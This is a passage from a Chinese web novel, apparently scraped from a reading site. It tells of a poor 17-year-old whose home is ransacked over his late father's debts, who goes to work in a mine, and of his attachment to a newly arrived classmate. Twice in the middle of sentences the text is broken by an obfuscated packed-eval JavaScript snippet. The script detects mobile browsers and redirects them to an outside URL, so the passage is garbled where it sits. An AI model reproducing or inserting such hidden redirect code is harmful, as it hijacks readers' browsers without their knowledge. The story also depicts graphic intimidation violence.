小卖部的老板靠在躺椅上昏昏欲睡,忽然被指节敲击玻璃的声音震醒。他睁开眼,看见一个高大的身影逆着光站在跟前,声音喑哑,“老板,来包烟。” 老板拉开玻璃柜的门,脑袋跟着凑过去,“什么牌子?” “最便宜的那个。” 老板熟练地摸出一包烟丢在柜台上,“三块。” 昏暗的灯光下,站在店门口的程野撕开包装,咬着烟压着声音开口,“劳烦,借个火。” 天气又开始降温,冷风把路口的树吹得呜呜响,程野点燃了一根烟,踩着寒意来到街上唯一一家网吧。 网吧隐藏在一个不起眼的小巷子里,路边倒着几个喝得醉醺醺的人,地上散发着垃圾和其它物品混合的恶臭。 程野双手插在衣服的兜里,一脚踢开倒在他面前的男人,推开网吧的门。 里面烟雾漫天,嘈杂的叫喊声几乎把天花板都要掀了。坐在前台的年轻女生听见开门的动静头也不抬,“没机子了,要玩等会来。” 程野站在门口往里看,“不玩,我找人。” 他环视了圈网吧,终于在角落发现自己要找的人。 染着黄色头发的男生叼着烟骂骂咧咧的打游戏,一局输了,气得拽下耳机站起来踹了椅子几脚。 程野就这么望着他,站在门口抽完了一支烟才过去。 漫天的烟雾和昏暗的光线掩盖了他脸上的表情,步伐不急不缓地穿过人群,来到男生身后,拽着他的衣领,就这么把人提了起来。 男生被吓了一大跳,“我TM……” 他回头,对上了一双幽幽泛绿的眼睛。 “谈谈。”程野说。 这种时候找他,谈什么谈,分明就是约架。 男生来网吧身边只带了一个小弟,对上程野,他有点心虚,可毕竟混他们这行的,最是受不得一点刺激,被程野那冷淡的眼神一看,他火气瞬间就上来了。 男生跟着程野来到网吧门口的巷子里。 三人往前走了段距离,这里是个死胡同,没什么人,只有头上挂着盏一闪一闪的灯,是个约架的好地方。 程野靠着墙,脸上的神情和早上没什么区别,就连说话的语气也很平静。 “以后离他远一点。” 他是谁,在场的人心知肚明。 黄毛嗤笑了声,“你当你是谁,你让我远离我就远离?” 程野没说话,他又接着道:“这样吧,你跪下来求求我,顺便再喊我两声爷爷,我就不招惹他怎么样?你还别说,他长得可真带劲,比我见过的妹子都还呃……” 下一秒,一只手抓上他的头发,将近两百斤的男生被拽着头横贯到地上。 灯光闪了下,程野扯着他的头发,露出他的脸。 “你……” 男生挣扎着想从地上爬起来,程野看了眼,抬起脚。 空气里响起一声清晰的“咔嚓”声,男生的小腿呈现出一个扭曲的姿势,人瘫在地上,顿时不动了。 程野松开手,从男生的兜里摸出打火机,当着男生的面点了根烟。 他咬着烟,再次抓着男生的头发让他仰起头,他盯着男生鼻涕眼泪糊在一起的脸看了会,指尖捏着香烟抖了抖,烟灰落在脸上,他缓缓吐了口烟。 “离他远点。” 8. 第 8 章 程野回到家的时候快晚上十一点。 这个时候原本安静的寨子此刻却传来影影约约的嘈杂声,他走近了,发现自家门口聚集着好些人。 高新和也在人群里,他是第一个发现程野的,立马喊了声“程哥”。 人们回头,看着那个冒着寒意回来的少年,眼底神色复杂。有怜悯,有唏嘘,也有看好戏的探究。 程野的目光穿过人群,看到了自家屋子此刻的模样。 门口被人泼了红油漆,木墙上写着刺眼醒目的“还钱”两个字,大门被拽得摇摇欲坠的挂着,里面的家具乱七八糟的丢在地上,屋子里被翻了个底朝天,值钱的东西全被带走了。 高新和走到他身边,嗫嚅着开口,“我也是刚刚才听到动静,跑过来看就这样了。” 高权也在旁边,他最近感冒了,嗓子咳得发哑,“造孽啊,这都是什么事!他程建斌是个什么人谁不知道?他欠的赌债让一个还在读书的娃娃怎么还?” “权哥,话也不能这么说……”有人道:“程野是可怜,那人家的钱也是钱,总不能就这么白白给了他吧?” “不是我说,我们也是心地善良,那程建斌还差我家两百呢,我们也是看程野可怜,一直没要罢了。” “是啊,程野这么大个体格,跟着他们出门打工,要不了几年不就还上了?” “你们这说的什么话?”高权咳得脸都红了,“他还是个孩子,你们说这种话,是要逼死他吗?” “谁逼他了?”人群里有人讪讪,“你对他好,你怎么不帮他把钱还了?” 咔嚓一声响,吵得不可开交的一群人被吓了一跳。 程野把被踹歪的大门直接卸了下来,他一松手,大门砸在地上,溅起一层灰。 “钱我会还上,各位回去吧。” 他的目光太冷,冷得不像一个十七岁的孩子,有些人还想再说些什么,但一看他家这个样子,也明白哪怕把程野卖了都还不上钱。 大家都是乡亲,抱怨两句还行,说多了伤和气。他们对着程野被洗劫一空的家唏嘘叹了会气,陆陆续续离开了。 只有高新和和高权还在原地。 高权看着程野把另一边的大门也卸下来,“你……” 程野跨进堂屋,拉亮灯泡,扶起地上的椅子,“很晚了,高叔你们回去吧。” 高新和道:“你家都这个样子了,不如你跟我回去睡一晚?” “不用。”程野把柜子立起来,“我一个人可以。” 他说不去,没人劝得了他,高新和跟着高权三步一回头地离开了他家。 程野转身去程建斌的卧室,里面也被洗劫一空,床底下压着的五百没了踪迹。 那钱是程建斌死之前留下的。 钱没了,程野也懒得看其它地方,他转身回到堂屋,把里面乱七八糟的东西随便收拾一下,最后在墙角捡到了张被踩了几脚的遗照。 程野拎着照片回到自己的房间。 他的房间没有灯,甚至连个窗户也没有,黑得宛如一口狭小的棺木。 程野咬着手电筒盘腿坐在地上,拿着相框轻轻一掰,里面的照片就滑了下来。 他捡起照片,从旁边的盒子里摸出一个打火机。 猩红的火苗从他眼底窜起,下一秒,更高的火焰燎起。 程野松手,燃烧的遗照从他指尖飘落,在地上打了几个滚,然后变成一堆灰烬。 死了也不安分。 他的房间在屋子的最里面,连扇门也没有,里面原本堆满了杂物,程建斌死后程野才把里面的东西搬出去。 屋子很不起眼,因此没遭到洗劫,里面的东西还是他出门前的样子。 程野把手电筒放在床上,又给自己点了根烟,他咬着烟,先是从怀里拿出还剩三颗山楂的糖葫芦。 这么久过去,上面的糖浆早就化了,被他洗干净,只剩下三颗山楂串在上面。 他把山楂的签子插在床头的缝隙里,从手边的盒子摸出一把小刀。 烟灰落在手背上,被程野伸手拂开,他从床底拿出一个铁盒子,小刀抵着铁盒的底部,不知道碰到了哪里,只听“咔嚓”一声,铁盒就开了。 里面放着的全是钱。 这些钱都是他这些年自己攒下来的,面值很小,大部分是五角一块,最高不过十块。 程野咬着烟点钱。 他来来回回数了两遍,全身上下,把他这些天打工的钱加上,总共223.5。 程野看着这223.5,在手电筒渐弱的光芒里,沉默着抽完一根烟。 - 江时第二天听江雪说才知道程野家发生了这么大的事。 “不是,这也太丧心病狂了吧?程野还没成年呢。” 外面下着雨,江雪出不了门,干脆把昨天买回来的排骨炖了。 天气太冷,她烧了柴火,上面炖着排骨,下面把炭火扒开,往里面丢了几个红薯。 “要钱的谁管你成不成年?”江雪道:“而且程建斌借的高利贷,那群人都是只要钱不要命的。哎……真是造孽。” 雨声哗啦啦的响,江时隔着格子窗往外看,只可惜等到红薯都烤熟了,也没看见那个天天早上来蹭饭的身影。 江雪知道他爱干净,把红薯剥了皮用纸包着递给江时,“听说那些人把他家门都给砸了,今天这么大的雨,也不知道他怎么样了。不行,待会我得去看看。” 江时立马道:“我跟你一起去。” “行。”江雪洗干净手去看锅里的排骨,“昨天不是给你钱让你买自己喜欢吃的吗,怎么什么都没买?” 自家种的红薯比他之前吃的都要甜,刚拿在手里鲜甜的味道就飘了过来,江时没忍住低头咬了口,被烫得“嘶”了下,连江雪跟他说话好几秒后才反应过来。 “啊?我买了啊……”他伸手指了下被他丢在角落的好几个袋子,“在那呢。” 江雪也疑惑了,“那怎么会还剩那么多钱?” 两人凑在一起合计,最后终于真相大白。 除了排骨和酒花的是江雪给的钱,江时那堆吃的全是程野给他买的。 难怪当时江时问他够不够,他信誓旦旦的说够。 刚刚知道真相又联想到昨天晚上发生的事的江时:“……” 我可真太不是个东西了。 - 吃了饭,江雪带着江时去程野家。 临走时,江时找了件黑色外套穿在身上,想了想,又回到自己房间。 这么些天过去了,他的衣服还乱七八糟的堆在角落的行李箱里,他弯着腰在行李里扒拉了会,从里面找出来之前带的两块巧克力。 江时把巧克力塞兜里,拿着伞跟江雪出了门。 两家隔得不是很远,走过一条泞泥的小路,穿过几户人,远处出现一栋看起来破破烂烂的木头房子,那就是程野家。 大门被卸了丢在院子里,屋子里看起来乱糟糟的,门口的红油漆在雨水的洗刷下看起来更显目。 江雪站在门口喊了两声,屋子里空荡荡的,一个人也没有。 江时握着伞,绕过跟前断了一只腿的椅子,看着被砸得没有一样好东西的堂屋,不太敢往前走,只是悄悄地从伞下面探出一个脑袋往里看。 “奇怪……”江雪道:“这么大的雨,人哪里去了?” 正值倒春寒,一下雨就冷得不像话,江雪跺了下脚,“算了,我们先回去吧,我晚上再来看看。” 她跟江时抱怨,“你说程野这孩子,平日里什么都不说,这些人肯定不是第一天来跟他要钱的,他才多大点,哪能抗得下这么重个胆子。” 江时也是第一次遇见这种情况,那两包被他随意丢在房间糖,以及这些天程野给他带的各种东西和眼前的屋子形成鲜明对比。 高大的男生看起来笨笨的,被他刁难了也不会生气,明明经济条件不行,却还是给他买了最贵的糖。 江时忽然觉得心底有些闷。 他捏了捏兜里被他体温捂得有些化的巧克力,转身打算回家,没想到远处走过来一个人影。 程野也没想到江时会出现在自己家门口,他没伞,就这么冒着雨走回来,隔着雨幕和伞下的少年对上视线。 对方穿了件黑色外套,握着伞柄的指尖冻得有些发白,浅棕色的发丝贴在脸侧,瞳孔里倒映着他狼狈的模样。 程野并不觉得难堪,江时望着他的时候,他从喉咙里挤出一声愉悦的低笑。 他要是觉得难堪,在第一次遇见江时的时候,在他用居高临下的目光看着他的时候,在他不经意间流露的嫌弃里,他就该走了。 可他要江时记住他,哪怕是同情。 他要他眼底有他。 就像现在这样看着他,等着他出现,然后那双漂亮的眼睛里绽放出光芒。 属于他一个人的。 “程野!”江雪惊呼,“你干嘛去了?怎么不打伞?” 程野敛下双眸,伸手抹了把脸,“出去找个人,江姨你们怎么过来了?” 虽然程野身上都淋湿了,但江雪还是走过去给他打了一半的伞,“我们昨天睡得早,今天起来才听说你的事,所以过来看看。” 他看着眼前屋子的景象,看向程野时眼底多了丝怜悯,“你没事吧?” “没事。”程野老实道:“我昨天回来的时候就这样了。” 他去屋里找了两张还完好的椅子给江时和江雪坐,“抱歉,家里还没收拾好,让你们见笑了。” 江时看着跟前黑漆漆的木椅子,犹豫了会,落下半个屁股。 他道:“他们把你家弄成这个样子,你干嘛不报警?” “报警没有用,警察也不能把他们抓了,被他们知道,反而会加倍报复回来。” 江雪看不过去,坐了没一分钟就起来帮程野收拾。 “真是造孽!活着惹麻烦,死了也不安分,程建斌这是欠了多少钱啊?” 程野跟着她一道收拾,“他借了高利贷,利滚利的,到现在估计有一万多。” 一万多,搁现在的经济条件,对很多人农村人来说,简直就是个大数字。 江雪听完两眼一黑,“那你打算怎么办?” “打工。”程野道:“去下矿。” 这年头对矿山的开采还没那么严格,下矿的工人很多,但很多不是正规团队开采的,安全措施不到位。 风险大,相对应的,工资也高。 矿山在隔壁县,他每个周还能回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165299|165105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来一次。 程野拿着扫帚扫地上的垃圾,看了眼伸手去接屋檐水的江时。 一周一次对他来说不太够,但这是他目前最合适的选择了。 江时抖掉指尖上的水,搓搓冰冷的指尖,把手缩进兜里,然后摸到了里面的巧克力。 程野浑身都是湿的,江雪抢了他的扫帚,催他去换衣服。 江时的半个屁股从椅子上起来,“我去看看。” 他小尾巴一样跟在程野身后,看着他进了那间窄窄的屋子。 里面黑漆漆的,过了几秒才有微弱的手电筒灯光亮起,江时没想那么多,跟着就走了进去。 “程……” 他名字刚喊出来,人就卡了壳。 朦胧光线里,脱了上衣的少年转身。宽阔的肩背在江时眼底一览无余,肤色是健康的蜜色,肌肉紧实,带着少年人独有的蓬勃热度,胸肌、腹肌……再往下,黑色的裤子坠在胯间。 江时一下子失了声,按道理他应该转身离开的,可眼睛落在对方的腹肌上有些移不开眼睛。 靠!他怎么有八块? 在他的注视下,八块腹肌起伏了下,程野抓着外套挡在裤子前面,神色有些不解,“怎么了?” 轰地一下,热意烧上了江时的耳朵。 他往兜里一抓,闭着眼睛把巧克力往程野那边丢,“没、没什么,就是来给你这个。” 说完也不等程野反应,扭头就跑。 程野看着他的背影消失在跟前。 他弯腰捡起地上的巧克力,坐在床上,外套依旧挡着。 巧克力被少年的体温捂得温热,上面似乎还带着他的香气。 程野捏着看了会,最后舍不得少年的味道就这么消散在空气里。他张嘴,用舌尖抵住锯齿包装的边缘,撕开巧克力的包装。 …… 程野的衣服换得格外久,半小时过去了,人才出来。 他神色和进去之前没什么两样,只是眼尾挂着红,喉结滚动得频繁,像是满足又像是不满足。 最后他把目光落在了江时身上。 这么久过去,江时已经忘了刚刚的尴尬。手里拿着扫帚似乎想要帮忙,他努力了两分钟,成功把江雪扫干净的地弄得更脏。 江雪没收了他的作案工具。 江时摸摸鼻子,一回头,看见了站在他身后的程野。 死去的回忆开始攻击他。 他瞪了程野一眼,“看什么看!” 能不讲理到这种程度也只有江时一人了。 程野从善如流,“抱歉。” 江雪不知道什么时候冒出来,“江时,你是不是又欺负程野了?” 江时:“……” 烦死了。 他转身就去拿门口的伞,朝江雪道:“你跟他过吧,我回家了。” 江雪:“你这死孩子……” 江时最后也没走成,他被程野不知道从哪里搬出来的一个大柚子给收买了。 柚子刚从树上摘下来没多久,水分很足,一刨开,清甜的味道开始蔓延。 江时手里拿着快有他脸一半大的柚子,用手撕掉上面的皮,问程野,“你真的要去挖煤?” 程野把柚子皮撕下来,找了袋子装着,让江时带回家吃。 “嗯,待会就走了。” “啊?”江时愣了下,“这么快?” “他们那边缺人,包了个车,今天去的话不用买车票。” 江时嘴里的柚子顿时就不甜了,他心底觉得怪不得劲的,可也知道这是程野的决定,他一个外人做不了主。再说了,按照程野现在的情况,这是最好的出路。 小少爷的嘴角往下落了一个像素点,“好吧。” 见他不开心,程野反而笑了,他把柚子放在江时脚边,“矿山一个星期放一次假,下个周我就回来看你,到时候给你带好吃的。” 这话听着怪怪的,江时道:“我稀罕你的东西?” “不稀罕。” 程野心道:但他想给。 他恨不得把自己有的都掏给江时,他的钱,他的心,他的命。 可惜他贱命一条,没人在乎。 - 程野就这么走了,江时一开始并不觉得有什么,可随着开学的时间渐近,他总觉得不得劲。 高新和一开始还来找他玩,可随着时间紧迫,他日日挑灯夜读,忙得连睡觉的时间都没有。 而宋建安整理给江时的寒假作业清单照片早就被他删了。 作业?那是什么? 快开学的前一天,宋建安找上了江时。 宋建安:【江时同学,你的寒假作业写完了吗?】 收到消息的江时:“……” 他敷衍回道。 【写完了,写得满满的。】 宋建安:【不愧是你,三中的作业我还差一点。我英语基础不好,最近在查缺补漏,希望开学的时候不拖班级后退。】 江时拿着手机在被子里滚了圈,鬼使神差的打字问他。 【你知道程野吗?】 宋建安用一个字评价程野。 【呵。】 江时:“……” 看出来了,的确很不友好。 9. 第 9 章 宋建安和程野的恩怨说来话短,正如高新和说的那样 ,当日万里无云,忽然狂风大作,盛夏的暴雨来得急促。 高一开学的时候学校组织了场考试,按成绩分班,宋建安和程野分到了一个班。 程野在溪柳村的境遇一直都不怎么样。他人长得凶,年纪轻轻就和人打架,再加上他爸完全不管他,因此没人知道他成绩到底怎么样。 分了班后宋建安才知道考第一的那个人竟然是程野。他对程野没什么别的看法,在知道他是第一后,甚至还拿着不会做的题去找他虚心求教。 那时暴雨下得倾盆,一整个班的人都被困在了教室,宋建安在同学们熙熙攘攘的抱怨中拿着书找到坐在最后一排的程野。 才高一,男生就已经长得很高了,长腿憋屈地支在桌子底下,脸上带着不知道从哪里惹来的伤疤,眉眼压得很低。 宋建安很有礼貌的询问,“程野同学你好,我有个题不太会,可以请教一下你吗?” 程野把书丢进桌箱,头也不抬,“不会。” 宋建安感觉他在敷衍自己,“你都没看……” 哗啦一声,程野拉开椅子站起来,高了宋建安几乎一个头。 “滚。” 如果网络再发展十多年,宋建安铁定用两个字来评价当时的程野: 装货。 可惜当时的他太年轻,猝不及防地被程野这短短的两句话给干破防了。 宋建安咽不下这一口气,在心底暗暗发誓,一定要考过程野,然后狠狠打他的脸。 然后一年半过去了,他还是个老二。 新仇旧怨加在一起,只能说程野被他这么讨厌实属不冤。 知道真相的江时:“……” 他实在想象不到程野这个老实人说“滚”的样子。 江时:【这其中是不是有什么误会?程野看起来不太像你说的那个样子。】 宋建安:【你懂什么!】 宋建安:【你和他才认识几天,就这么为他说话?他肯定是看我不爽,然后来腐蚀你,你不要被他骗了。】 江时:【……】 宋建安:【你以后不要跟他一起玩了,他这个人仗着自己成绩好看不起人就算了,空有天赋还不爱学习,动不动就请假逃课,简直就是社会的蛀虫。】 江时却想到了那栋几乎被洗劫一空的房子,门口的红色油漆宛如凝固的血迹,多大的雨都冲刷不干净。 在宋建安嘴里离经叛道的少年沉默着站在废墟里收拾,遭遇这样大的变故,他脸上甚至都没什么表情,好似已经经历过很多次。 江时拿着手机翻了个身。 【他成绩很好吗?】 对于这点,哪怕是宋建安也不得不承认。 宋建安:【还行吧,比我好。】 山里的孩子生来注定贫穷,想要走出大山,就只能读书。 而现在,一个酗酒赌博的父亲,哪怕肉身已经烂在泥土里发臭,可依旧能葬送一个孩子的未来。 - 第二天,是新生开学的日子,一大早,江雪就把江时叫了起来。 江时倚在门边看江雪收拾行李,侧过脸懒洋洋地打了个哈欠。手机的聊天界面还停留在宋建安对程野的吐槽上,瞧着宋建安写着大大的“奋斗”两个字的头像,江时忽然想起一件被他遗忘的事。 “妈。”他现在喊江雪熟练多了,“宋建安是不是让你转交什么东西给我?” 江雪正对着镜子梳头,闻言手上的动作顿了下。她透过镜子观察江时的神色,只看见他没骨头似的靠在门上,仿佛下一秒就要睡过去。 “你瞧我这记性,他是给了我个箱子让我转交给你,本来说要给你,结果忙忘了。” 其实她没忘,只是发生这种事,他怕江时心底不好受,也不太清楚他对宋建安是个什么想法,所以不太敢给他。 既然现在江时主动提起,江雪两三下把头发扎起来,转身去了自己的屋子。 她出来时手里抱着一个箱子,箱子不大,上面的油漆剥落了大半,看起来很有年头。 “他走的时候让我把这个给你,我也不知道里面是什么,不过看他的样子挺宝贵的,你要是喜欢就留着,不喜欢的话就给我,别给丢了。” 毕竟这也算她儿子的东西,就这么丢了她会心疼。 江时支起身子,伸手接过她手里的箱子。他抱着箱子底掂了掂,发现份量还挺重。 宋建安不会把这些年攒下来的私房钱都留给他了吧? 带着点雀跃的心思,江时打开箱子,一低头: 《五年高考三年模拟》 再翻翻,全是各种习题和卷子,里面写满了密密麻麻的注释。原主人很爱惜这些东西,哪怕翻过很多遍,可书页依旧平整,整整齐齐地压在箱子里,只等着哪日遇到同样爱惜它的主人。 江时:“……” 他猛地把箱子合上。 什么脏东西! 江雪凑过来看了眼,“什么东西?” 江时缓了半分钟才开口,“宋建安跟我说,里面都是他的宝贝。” 显然,江时不是很想要这样的宝贝,他端着箱子当即就想还给江雪,但在开口的瞬间又犹豫了。 算了,给都给了,将就看吧。 江时抱着箱子坐上了去县城的车,旁边还有个叽叽喳喳的高新和。 “小表哥,你拿的这是什么?” 江时把箱子往他膝盖上一放,“大表弟自己看。” 高新和一打开,脑子里的想法和江时一样:这是什么脏东西? 赶了一个星期的寒假作业,他现在看见卷子就想吐。高新和生无可恋地合上盖子,“这是你的吗?” “不是。”江时说:“是宋建安的。” 高新和:“……” 这果然很宋建安。 高新和给他抱着箱子,看着窗外倒退的风景,忧伤叹气,“也不知道程哥现在怎么样了。” 江时愣了下,没说话。 高新和说:“其实他没成年,矿山那边是不打算要他的,但是年前的时候据说那边瓦斯中毒,死了好几个人,很多人不敢下矿,实在找不到人,就让他去了。” “他这说走就走的,谁都不说,等我们知道的时候人都上车了,我爸气得在家里差点抽了我一顿。” 江时抿了下唇,问他,“下矿很危险吗?” “那肯定危险啊。”高新和回答他,“瓦斯泄漏、矿洞坍塌……随便一个都能死人,大企业有保障还好,那种小企业,死了都不一定能拿到赔偿金,不然为什么下矿工资那么高,我爸却不乐意去?” 江时又问,“那程野就没亲戚吗?” “没有。他爸之前是要饭的,这边人见他可怜,就帮他盖了房子,分了地,让他在这里定居。他妈呢,全家都死完了,程野他爸给了她两百,就这么娶了她。” 江时完全没想到他的身世会是这样,呐呐道:“我看你对他很好,还以为你们是亲戚呢。” “那哪能啊……”高新和说,“据我爸说,程野他爸刚来时候装得人模人样的,结果分了地后就本性暴露,我们村的人都不待见他。再加上程哥从小话就少,因为他爸的原因,他们也不怎么喜欢他。” “我和他玩得好是因为小学的时候出去玩,差点被水淹死,是程哥救的我。” “他这个人虽然话不多,但很讲义气,我 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陈漪露出一个笑容,“你以后就是三班的学生了,我是你班主任,有什么不懂的都可以来问我。今天不上课,让你妈妈带你把宿舍什么的先弄好,明天早上来办公室找我,我带你去班级。” 家里的被子江时睡了会过敏,江雪直接带他来这边买,买完被子又给他买了几件衣服。 等一切弄好已经下午三点半,回溪柳村的最后一班车是下午四点,江雪火急火燎地塞了一百给江时,“这钱你拿着用,周末放假可以找高新和,让他带你回家,回家坐车的地方就是我们刚刚下车的地方。” 她叮嘱江时,“我没手机,你要是有什么事就打高新和他爸的电话,有事就跟妈妈说,不要藏着掖着。” 江时站在宿舍门口目送江雪离开。 穿着黑白校服的学生在他周围来来往往,他穿着刚来溪柳村的那件羽绒服,眼底印着学校有些斑驳的大门。 又好像只剩下了他一个人。 江时踩着上课铃声进了宿舍楼。 因为江时是下半个学期转进来的,他的宿舍在三楼的最后一间,八人间的床位,加上他只住了五个人。 他回去的时候室友正聚在一起窃窃私语,听见开门声,瞧见门口那位容貌精致的少年,一时间齐齐闭了嘴。 江时没察觉到宿舍里奇怪的氛围,其实哪怕察觉到了,他也不在意。 他自认为自己没有非要跟室友打好交道的必要,顶着另外四人的目光,站在自己的床前。 所以…… 被罩是怎么套的? 小少爷试探性地揪起被子的一角,又看了看旁边还没拆封的四件套。 “……” 难搞。 三分钟后,他对面坐着的男生小声道:“要帮忙吗?” 江时捏着被角的手松了点,但脸色依旧高冷,“可以吗?” 少年不笑的时候神色看起来很高冷,面容矜贵,连头发丝都透着和这破烂宿舍格格不入的精致。 就像是原本高坠在天边的月亮忽然跌下凡尘,可月亮还是月亮,它依旧明亮,它的光芒依旧能灼伤人。 没人敢靠近月亮,直到月亮不会套被套。 江时也不知道事态是怎么发展的,等他回过神来的时候,他的另外四个室友已经开始给他套被套了。 而他则坐在对面室友的床上,手里拿着个橘子。 手机短信的提示音正是这个时候响起来的。 江时打开手机,上面只有短短一句话。 【我是程野。】 10. 第 10 章 医院。 程野半躺着靠在病床上,左手挂着点滴,右手拿着借来的手机,他输入那个在心底背得滚瓜烂熟的号码,斟酌着打下几个字。 【我是程野。】 他以为对方要好一会才能回复他,没想到才刚发过去不到一分钟就收到了回复。 【?】 看着那个“?”,程野笑了。 他看了眼还有大半瓶的点滴,将腿支起来,打了个电话过去。 那头似乎没想到他会打电话,犹豫了好久才接通。 江时的声音透过听筒传过来有些失真,“喂?” 程野说:“是我。” 江时当然知道是他,他看了眼在给他套被套的室友,拿着手机出了宿舍。 这个时候走廊外没什么人,只有几个男生抱着盆朝尽头的水房走去。 江时靠在灰扑扑的墙上,“你给我打电话干什么?不对,你哪里来的手机?” 程野说话的声音依旧平缓、低沉,“手机是借的,想问问你开学怎么样。” 江时心想,他们的关系已经好到这种程度了吗? 但程野问得太自然了,自然到这种想法只在江时心里浮现一秒,然后就被他牵着跑。 “还行吧……”江时踢了踢墙角,一边是水房里几个男生嬉戏的声音,一边是程野轻缓的呼吸声。 他因为换地方浮动了一天的心忽然就慢慢安定下来。 程野问他,“是江姨带你来的吗?被分到了哪个班?有人欺负你没?” 江时说:“你比我妈还啰嗦。” 程野便不再说话,安静的等着江时。 江时自己别扭了会,终于开口了,“你们这学校又小又破的,看着就心烦,七八个人挤一间,连个厕所也没有……” 走廊上不知道谁丢了一只笔,被他用脚尖踩着,一点一点的碾磨,语气带着不满的抱怨,眉头皱起,是他自己都察觉不到的依赖。 程野听他从进学校开始抱怨,抱怨环境,抱怨老师同学,直到听他说起室友给他套被套时终于变了脸色。 “你让别人给你套被套?” 江时一脸理所应当,“那不然呢?我又不会。” 程野:“你不会就让他给你套?” 江时:“……” 他道:“程野,你有病就赶紧去治。” “……” 程野说:“我周末放假,到时候来找你。” 江时觉得他和程野关系也不是很好,实在不明白他找自己干什么。 他张嘴刚想说话,程野又开口了,“这边的烤鸡很好吃,老板用小火慢烤,烤到最后外焦里嫩,骨头都酥了,我带只给你尝尝。” 江时拒绝的话变成口水咽下。 “哦。”他干巴巴地应了声,说完感觉不太礼貌,又补充,“那你路上小心点。” 程野笑了。 直到挂了电话,他眉梢里还带着没消散的笑意。 一个三十多岁的男人拎着盒饭从外面进来,看见他脸上的笑有些稀奇,“这么开心,跟家里面打电话呢?” “算是吧。”程野把自己和江时的短信和通话记录都给删了,把手机递给男人,“多谢王哥。” 王刚拿过手机,“谢什么谢,要说谢也是我谢你,要是没你,我估计早就没命了。” 他将病床上的桌子支起来,把保温盒里的菜端到上面,“你嫂子早上刚买的猪脚炖的汤,赶紧趁热喝。” 程野低着头吃饭。 他这段时间瘦了很多,人还是高,但病号服穿在身上显得有些空,衣服的扣子没扣全,一弯腰就能看见紧实的蜜色肌肉以及缠绕在胸口前的纱布。 病房里摆了四五张病床,这个时候恰值饭点,周围来探望的人很多,一群人热热闹闹地围在周围,反而显得程野这张床格外冷清。 王刚坐在床尾点了根烟。 他干瘦焦黄的指尖捏着烟,染着煤灰的鞋在地上蹭出一团黑印。 “程野……”他犹豫道:“你这事你跟家里说了吗?” 少年漆黑的眼眸朝他望过来,明明才十七岁,但王刚还是被他这双眼睛看得有些头皮发麻。 他手一抖,烟灰落在床上,又被他伸手弹开,“我没有别的意思,只是你还小,现在又遇到了这样的事,还是跟家里说一声比较好。” 毕竟程野是为了救他才受的伤,哪怕现在程野没说什么,但以后他家人知道,找他要说法就麻烦了。 程野拿着勺子喂了口饭到嘴里,“家里没人,我家就我一个。” 王刚愣了下,“那刚刚你……” “那是我……”咸得有些发苦的肉在程野嘴里滚了圈,被他面无表情地咽下,“那是我朋友。” 他问王刚,“上面怎么说?” 说起这个,王刚就想叹气,“带队的去问了,他说会给你争取赔偿,但你知道,这矿上天天有人受伤,估计很难。” 他跟程野担保,“你放心,你是救我受的伤,你住院的费用肯定是我出。” “只是我家的情况你也知道,三个娃娃都在读书,我老婆行动不方便,重活累活都做不来,一家老小几张嘴都等着我吃饭,再多的我们真的有心无力。” 程野看了眼点滴,抬手按下呼叫铃,听王刚说了这么多,他脸上依旧没什么表情,仿佛这些都跟他没关系。 护士来得很快,他伸出手让护士把针拔了,问她:“我还要几天才能出院?” “看恢复情况吧,恢复快一点的话四五天。” 今天才周一,四五天的话来得及。 王刚把他吃完的空盘子收拾好,“没什么事的话我就先回去了,明天我要上班,我跟我媳妇说了医院的地址,到时候她来给你送饭。” 王刚走了,旁边病床的家属讲着讲着就坐到了程野的床上。他掀开被子下床,去卫生间上厕所。 医院厕所的卫生算不上干净,尿骚味混合着烟味弥漫。 程野上完厕所,洗了手后才靠在门边低头解开病号服的扣子。纱布绕着他的腰缠了好几圈,在纱布下面,将近十公分长的缝合线像蜈蚣一样盘踞着。 他唇色有点白,呼吸间牵扯着疼,只有在脑海里咀嚼着刚刚和江时不到十分钟的对话才稍微好受点。 - 江时以为程野说的周末是周六,没想到周五一下课就在一楼的门口看见他。 男生身上穿的衣服和江时第一次见他时的那身一样,衣服裤子依旧短了一截,但他人似乎瘦了,原本紧身的衣服显得有些空荡,手里提着几个袋子,逆着光,沉默地站着。 江时下楼的瞬间他就抬眼看了过去,眼神锁定在他身上。但他没说话,也没动,就这么看着,等着他发现他。 江时在跟室友说话,人刚从二楼的拐角下来,心头忽然动了下,抬眼朝前面看去。 夕阳把远山勾勒出一片温暖的橙,路口的梅花开得正艳,程野履行着他的诺言,在周末来见他。 江时往前一步,程野就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165301|165105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经抬脚走到了他跟前,他站在阶梯的最下面,仰着头看他。 “江时。” 江时换上了一中黑白配色的校服,身型清瘦挺拔,光影格外怜爱他,投在他脸上不舍得落下。 直到他站在程野面前,高大的男生将光都遮挡住,江时的脸上落下了他的阴影。 江时微仰着头看程野,“你怎么进来的?” 程野往右一步,挡住旁边的人流,将江时隔绝在左边,“门卫认识我,看见我就让我进来了。” 他晃了下手里的袋子,“我有东西带给你,可以去你宿舍吗?” 宿舍里没什么见不得人的,听程野要去,江时没想那么多,只是道:“我要先问问我室友。” 他扭头朝旁边的几个男生道:“我带他去宿舍里待一会,你们没意见吧?” 